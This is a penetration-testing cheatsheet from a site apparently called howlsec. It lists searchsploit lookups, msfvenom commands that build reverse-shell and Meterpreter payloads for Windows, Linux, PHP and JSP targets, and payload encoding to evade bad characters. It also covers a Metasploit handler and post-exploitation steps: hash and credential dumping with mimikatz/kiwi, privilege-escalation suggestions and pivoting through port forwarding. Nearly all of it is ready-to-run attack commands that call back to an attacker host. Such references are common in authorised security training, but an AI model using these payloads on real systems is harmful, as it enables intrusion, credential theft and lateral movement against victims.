Exploitation & Payloads — Cheatsheet

searchsploit, msfvenom formats, and core Metasploit/handler workflow.

#exploitation#msfvenom#metasploit#searchsploit

Find exploits

Search ExploitDB locally for a product/version.

🐺 howlsec@kalibash

$searchsploit <product> <version>

Copy an exploit into the current directory.

🐺 howlsec@kalibash

$searchsploit -m <edb-id>

Read an exploit's source/notes.

🐺 howlsec@kalibash

$searchsploit -x <edb-id>

Windows reverse-shell EXE.

🐺 howlsec@kalibash

$msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o s.exe

Linux reverse-shell ELF.

🐺 howlsec@kalibash

$msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f elf -o s.elf

PHP reverse shell (drop on a web target).

🐺 howlsec@kalibash

$msfvenom -p php/reverse_php LHOST=$LHOST LPORT=4444 -f raw -o s.php

JSP reverse shell (Tomcat / Java apps).

🐺 howlsec@kalibash

$msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f raw -o s.jsp

Windows Meterpreter EXE for the full toolkit.

🐺 howlsec@kalibash

$msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o m.exe

Encode a payload and strip bad characters.

🐺 howlsec@kalibash

$msfvenom -p ... -b '\x00\x0a\x0d' -e x86/shikata_ga_nai -f c

Start a one-liner handler to catch your Meterpreter session.

🐺 howlsec@kalibash

$msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter_reverse_tcp; set LHOST $LHOST; set LPORT 4444; run"

Confirm who and where you are on the box.

🐺 howlsec@kalitext

01getuid; sysinfo; getprivs

Background the session and list/interact with sessions.

🐺 howlsec@kalitext

01background; sessions -i 1

Suggest local privilege-escalation exploits automatically.

🐺 howlsec@kalitext

01run post/multi/recon/local_exploit_suggester

Dump hashes and load the Kiwi (mimikatz) extension.

🐺 howlsec@kalitext

01hashdump; load kiwi; creds_all

Pivot: forward a target-internal port to your box.

🐺 howlsec@kalitext

01portfwd add -l 3389 -p 3389 -r 172.16.1.5